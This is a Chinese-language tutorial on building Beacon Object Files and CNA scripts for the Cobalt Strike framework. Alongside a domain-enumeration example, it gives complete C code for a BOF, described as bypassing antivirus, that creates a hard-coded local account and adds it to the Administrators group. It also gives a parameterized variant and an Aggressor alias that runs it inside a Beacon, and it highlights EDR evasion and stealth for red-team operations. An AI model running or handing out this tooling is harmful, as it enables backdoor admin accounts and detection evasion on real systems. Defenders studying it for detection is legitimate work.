BOF及cna插件开发初探
字数 1132 2025-08-19 12:41:56
BOF及CNA插件开发指南
1. Beacon Object File (BOF)概述
BOF是一种能够被Cobalt Strike Beacon加载并执行的特殊文件格式,它实际上是C/C++编译后但未链接的目标文件(.obj)。BOF具有以下特点:
- 体积小,执行效率高
- 在Beacon进程内部运行,不创建新进程
- 可以直接调用Beacon API和Win32 API
- 能有效规避EDR检测
2. BOF开发环境准备
2.1 系统要求
- 操作系统:Windows 10
- 开发工具:Visual Studio 2022
2.2 开发模板
使用现成的BOF开发模板可以简化开发流程:
- 下载模板:https://github.com/securifybv/Visual-Studio-BOF-template
- 将模板放入VS模板目录:
用户路径\文稿\Visual Studio 2022\Templates\ProjectTemplates - 在VS中新建项目时选择该模板
2.3 编译配置
- 在VS中选择"生成"->"批生成"
- 勾选项目,方案配置选择"BOF"
- 生成后可在项目目录中找到.obj文件
3. BOF开发基础
3.1 动态函数解析(DFR)
BOF中使用动态函数解析来调用系统API,格式如下:
DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
DECLSPEC_IMPORT:导入函数关键字WINAPI:函数调用约定ADVAPI32:函数所在模块名GetUserNameA:函数名称
3.2 BOF入口函数
BOF的执行入口是go函数,当在Beacon上执行inline-execute时会调用此函数:
void go(char* buff, int len) {
// BOF功能代码
}
4. BOF开发实例
4.1 获取当前域信息
#include <windows.h>
#include <stdio.h>
#include <dsgetdc.h>
#include "beacon.h"
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);
void go(char* buff, int len) {
DWORD dwRet;
PDOMAIN_CONTROLLER_INFO pdcInfo;
dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);
if (ERROR_SUCCESS == dwRet) {
BeaconPrintf(CALLBACK_OUTPUT, "%s", pdcInfo->DomainName);
}
NETAPI32$NetApiBufferFree(pdcInfo);
}
4.2 绕过杀软添加用户
#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"
#include "beacon.h"
typedef DWORD NET_API_STATUS;
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);
void go(char* buff, int len) {
USER_INFO_1 UserInfo;
UserInfo.usri1_name = L"Qqw666";
UserInfo.usri1_password = L"Qqw@#123";
UserInfo.usri1_priv = USER_PRIV_USER;
UserInfo.usri1_flags = UF_SCRIPT;
// 创建用户
NET_API_STATUS nStatus = NETAPI32$NetUserAdd(NULL, 1, (LPBYTE)&UserInfo, NULL);
if (nStatus == NERR_Success) {
BeaconPrintf(CALLBACK_OUTPUT, "NetUserAdd Success!\nUsername: %ws, PassWord: %ws",
UserInfo.usri1_name, UserInfo.usri1_password);
}
// 添加到管理员组
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = UserInfo.usri1_name;
NET_API_STATUS aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
if (aStatus == NERR_Success) {
BeaconPrintf(CALLBACK_OUTPUT, "Add to Administrators success!");
}
}
5. 参数化BOF开发
5.1 支持自定义用户名和密码
void go(char* buff, int len) {
datap parser;
LPWSTR username, password;
BeaconDataParse(&parser, buff, len);
username = (LPWSTR)BeaconDataExtract(&parser, NULL);
password = (LPWSTR)BeaconDataExtract(&parser, NULL);
USER_INFO_1 UserInfo;
UserInfo.usri1_name = username;
UserInfo.usri1_password = password;
// ...其余代码同上...
}
6. CNA插件开发
6.1 CNA脚本基础
beacon_command_register(
"adduser",
"Add a user to administrators",
"usage: adduser [username] [password]");
6.2 完整CNA插件示例
alias adduser{
local('$handle $data $args');
$uname = $2;
$pass = $3;
if ($uname eq "" or $pass eq "") {
berror($1, "usage command: help adduser");
return;
}
// 读取BOF文件
$handle = openf(script_resource("source.obj"));
$data = readb($handle, -1);
closef($handle);
// 打包参数("ZZ"表示两个参数)
$args = bof_pack($1, "ZZ", $uname, $pass);
// 执行BOF
beacon_inline_execute($1, $data, "go", $args);
}
7. 开发注意事项
- 权限要求:添加用户等操作需要管理员权限
- 错误处理:应妥善处理API调用失败的情况
- 内存管理:使用后释放分配的内存(如
NetApiBufferFree) - 参数传递:使用
BeaconDataParse和BeaconDataExtract解析输入参数 - 输出格式:使用
BeaconPrintf输出结果
8. 总结
BOF和CNA插件开发为Cobalt Strike提供了强大的扩展能力:
- 可以将常用功能封装为BOF,提高隐蔽性和复用性
- 通过CNA插件可以方便地在Beacon中调用BOF
- 参数化设计使BOF更加灵活
- 所有Windows API调用都可以通过DFR方式实现
通过将常用命令BOF化,可以更好地规避安全检测,提高红队行动的隐蔽性。